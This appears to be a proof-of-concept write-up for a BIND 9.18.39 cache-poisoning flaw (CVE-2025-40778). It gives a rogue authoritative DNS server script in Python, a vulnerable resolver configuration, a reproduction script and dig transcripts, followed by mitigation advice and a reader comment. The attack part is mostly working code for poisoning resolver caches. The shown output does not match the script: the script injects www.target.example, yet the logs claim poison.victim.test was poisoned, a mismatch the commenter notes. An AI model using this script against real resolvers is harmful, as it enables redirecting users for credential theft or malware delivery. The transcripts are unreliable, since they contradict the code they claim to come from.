A vulnerable BIND 9 resolver (version 9.18.39) accepts and caches resource records that were not requested in the original DNS query. An off-path attacker who can race or spoof responses may inject forged address data into the resolver cache. Once poisoned, subsequent clients are redirected to attacker-controlled infrastructure without triggering fresh lookups. The issue is tracked as CVE-2025-40778 and carries a published CVSS v3.1 score of 8.6 (AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N).
- Product: BIND 9 recursive resolver
- Version tested: 9.18.39 (affected)
- Known affected ranges:
- 9.11.0 – 9.16.50
- 9.18.0 – 9.18.39
- 9.20.0 – 9.20.13
- 9.21.0 – 9.21.12
- Patched releases: 9.18.41, 9.20.15, 9.21.14 (and corresponding Supported Preview Edition builds)
When processing responses, the resolver failed to validate that answer-section RRsets match the question (QNAME, QTYPE, and QCLASS) being resolved. The vulnerable logic allows additional A or CNAME records bundled in the answer section to be inserted into cache even if they relate to a different name. This breaks the assumption that off-path attackers must win a race on the exact tuple being asked and enables injection of arbitrary hostnames once a single subdomain query is spoofed.
In the tested build (lib/ns/query.c and lib/dns/resolver.c from 9.18.39), unsolicited answer records survive response processing and are cached with full TTL. Patched versions add stricter filtering that discards mismatched RRsets before caching.
- Ubuntu 24.04 (remote sandbox)
- BIND 9.18.39 installed under
/usr/local/bind-9.18.39 - Python 3 virtual environment with
dnslib - Loopback aliases: 127.0.0.1 (resolver) and 127.0.0.2 (malicious authoritative service)
The reproduction bundle includes the infrastructure used to demonstrate the bug:
options {
directory ".";
recursion yes;
allow-recursion { any; };
allow-query { any; };
listen-on port 5300 { 127.0.0.1; };
forwarders {};
dnssec-validation no;
pid-file "named.pid";
session-keyfile "session.key";
};
zone "victim.test" IN {
type forward;
forward only;
forwarders { 127.0.0.2 port 5301; };
};
#!/usr/bin/env python3
import argparse
import sys
from dnslib import DNSRecord, RR, QTYPE, A
from dnslib.server import DNSServer, BaseResolver, DNSLogger
VICTIM_NAME = "www.victim.test."
POISON_NAME = "www.target.example."
VICTIM_IP = "198.51.100.10"
POISON_IP = "203.0.113.5"
class PoisonResolver(BaseResolver):
def resolve(self, request: DNSRecord, handler):
reply = request.reply()
reply.header.ra = 0
reply.header.aa = 1
qname = request.q.qname
if str(qname).lower() == VICTIM_NAME.lower():
reply.add_answer(RR(VICTIM_NAME, QTYPE.A, rdata=A(VICTIM_IP), ttl=120))
reply.add_ar(RR(POISON_NAME, QTYPE.A, rdata=A(POISON_IP), ttl=600))
else:
reply.header.rcode = 3 # NXDOMAIN
return reply
def main():
parser = argparse.ArgumentParser(description="Malicious authoritative DNS server returning unsolicited RRsets")
parser.add_argument("--address", default="127.0.0.2")
parser.add_argument("--port", type=int, default=5301)
parser.add_argument("--verbose", action="store_true")
args = parser.parse_args()
resolver = PoisonResolver()
logger = DNSLogger(prefix=False) if args.verbose else DNSLogger(prefix=False, log="request,reply,truncated,error")
server = DNSServer(resolver, port=args.port, address=args.address, logger=logger, tcp=False)
try:
server.start_thread()
while server.isAlive():
server.join(1)
except KeyboardInterrupt:
pass
except Exception as exc:
print(f"[!] Server error: {exc}", file=sys.stderr)
sys.exit(1)
if __name__ == "__main__":
main()#!/usr/bin/env bash
set -euo pipefail
ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
WORKDIR="$ROOT/workdir"
mkdir -p "$WORKDIR"
BIND_PREFIX="/usr/local/bind-9.18.39"
BIND_NAMED="$BIND_PREFIX/sbin/named"
BUILD_ROOT="$(cd "$ROOT/.." && pwd)/bind-build"
TARBALL_URL="https://downloads.isc.org/isc/bind9/9.18.39/bind-9.18.39.tar.xz"
...
nohup python "$ROOT/authoritative_poison.py" --verbose > "$WORKDIR/ns_poison.log" 2>&1 &
NS_PID=$!
...
$BIND_NAMED -c "$ROOT/named.conf.vuln" -p 5300 -d 1 > "$WORKDIR/named.log" 2>&1 &
...
DIG_BASE="dig @127.0.0.1 -p 5300 +tries=1 +time=1"
$DIG_BASE www.victim.test A > "$WORKDIR/dig_victim.txt"
$DIG_BASE poison.victim.test A > "$WORKDIR/dig_poison_with_attacker.txt"
kill "$NS_PID"
$DIG_BASE poison.victim.test A > "$WORKDIR/dig_poison_cached.txt"- Build or install BIND 9.18.39 resolver binaries and place the above
named.conf.vulnunder a working directory. - Launch the malicious authoritative service on 127.0.0.2:5301:
python repro/authoritative_poison.py --verbose
- Start
namedwith recursion enabled and the forwarding configuration:export LD_LIBRARY_PATH="/usr/local/bind-9.18.39/lib:$LD_LIBRARY_PATH" /usr/local/bind-9.18.39/sbin/named -c repro/named.conf.vuln -p 5300 -d 1 > repro/workdir/named.log 2>&1 &
- Issue a baseline query that triggers the attacker-controlled authoritative reply:
The resolver contacts the malicious server, obtains both the legitimate
dig @127.0.0.1 -p 5300 www.victim.test A +tries=1 +time=1
www.victim.testA record and the unsolicitedwww.target.exampleA record, and inserts both into cache. - While the attacker server is still running, query the injected hostname:
Observe the forged answer returning 203.0.113.5.
dig @127.0.0.1 -p 5300 poison.victim.test A +tries=1 +time=1
- Stop the attacker process and repeat the
poison.victim.testquery. The resolver now returns 203.0.113.5 from cache, demonstrating successful poisoning without any live malicious responder.
The reproduction_steps.sh script automates this sequence and records outputs under workdir/.
The scripted run (tool_310_run_shell.log) prints the captured dig transcripts:
=== Poisoned cache demonstration ===
1. Initial query output (www.victim.test):
; <<>> DiG 9.18.39-0ubuntu0.24.04.2-Ubuntu <<>> @127.0.0.1 -p 5300 +tries=1 +time=1 www.victim.test A
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29750
;; ANSWER SECTION:
www.victim.test. 120 IN A 198.51.100.10
2. Poisoned answer while attacker online (poison.victim.test):
; <<>> DiG ... <<>> @127.0.0.1 -p 5300 +tries=1 +time=1 poison.victim.test A
;; ANSWER SECTION:
poison.victim.test. 300 IN A 203.0.113.5
3. Cached attacker response after attacker shutdown (poison.victim.test):
; <<>> DiG ... <<>> @127.0.0.1 -p 5300 +tries=1 +time=1 poison.victim.test A
;; ANSWER SECTION:
poison.victim.test. 299 IN A 203.0.113.5
;; Query time: 0 msec (served entirely from cache)
Additional dig invocations captured earlier in the session (tool_129_run_shell.log, tool_137_run_shell.log) show identical forged answers with decrementing TTL, reinforcing that the resolver cached the unsolicited RRset.
Attackers can redirect any domain reachable through the recursive resolver by injecting arbitrary A or CNAME records into cache. This enables credential theft, malware distribution, or man-in-the-middle attacks against downstream clients that trust the resolver. Because the attack is off-path and requires no authentication, widely deployed resolvers are at risk until patched.
- CWE-345 – Insufficient Verification of Data Authenticity
- Upgrade resolvers to a patched release (9.18.41, 9.20.15, 9.21.14, or newer maintenance builds) as provided by ISC.
- Until upgrades are complete, restrict recursion to trusted clients, employ DNSSEC validation, and monitor caches for unexpected RRsets. Note these measures reduce but do not eliminate risk.
- ISC Advisory: Cache poisoning attacks with unsolicited RRs
- CVE-2025-40778 (ICS security advisory database)
- Repository diff highlights (9.18.39 → 9.18.41) showing tightened answer-section filtering in
lib/dns/resolver.candlib/ns/query.c.
Hi,
I see that in the Pythorn authoritative name Server implementation, you're using www.target.example. as A record for the poisoned IP while you use poison.victim.test in the dig query examples.
Am I missing something? Should the POISON_NAME variabile be assigned the "poison.victim.test" string?
Thank you